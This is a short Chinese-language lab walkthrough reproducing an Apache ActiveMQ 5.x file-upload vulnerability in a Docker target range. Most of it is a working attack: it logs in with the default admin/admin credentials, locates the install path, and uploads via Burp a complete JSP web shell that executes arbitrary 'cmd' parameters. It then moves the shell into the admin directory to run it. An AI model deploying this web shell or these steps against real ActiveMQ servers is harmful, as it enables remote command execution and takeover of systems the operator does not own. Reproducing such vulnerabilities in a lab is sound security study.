1开启靶场
docker-compose up -d
2.影响版本
Apache ActiveMQ 5.x~5.14.0
3.漏洞复现
浏览器访问靶机,访问8161端口
http://192.168.200.168:8161/
浏览器访问/admin/index.jsp?printable=true 查看版本信息,用户名和密码默认都是admin
http://host:8161/admin/index.jsp?printable=true
访问/admin/test/systemProperties.jsp页面查看activemq的绝对路径
使用burp抓包
.修改post传参,写入文件
<%@ page import="java.io.*"%>
<%
out.print("Hello</br>");
String strcmd=request.getParameter("cmd");
String line=null;
Process p=Runtime.getRuntime().exec(strcmd);
BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
while((line=br.readLine())!=null){
out.print(line+"</br>");
}
%>
访问1.jsp
http://192.168.200.168:8161/fileserver/1.jsp
访问成功,写入文件成功,但是没有执行代码,将1.jsp移动到、admin目录下
访问admin目录下的1.jsp
http://192.168.200.168:8161/admin/1.jsp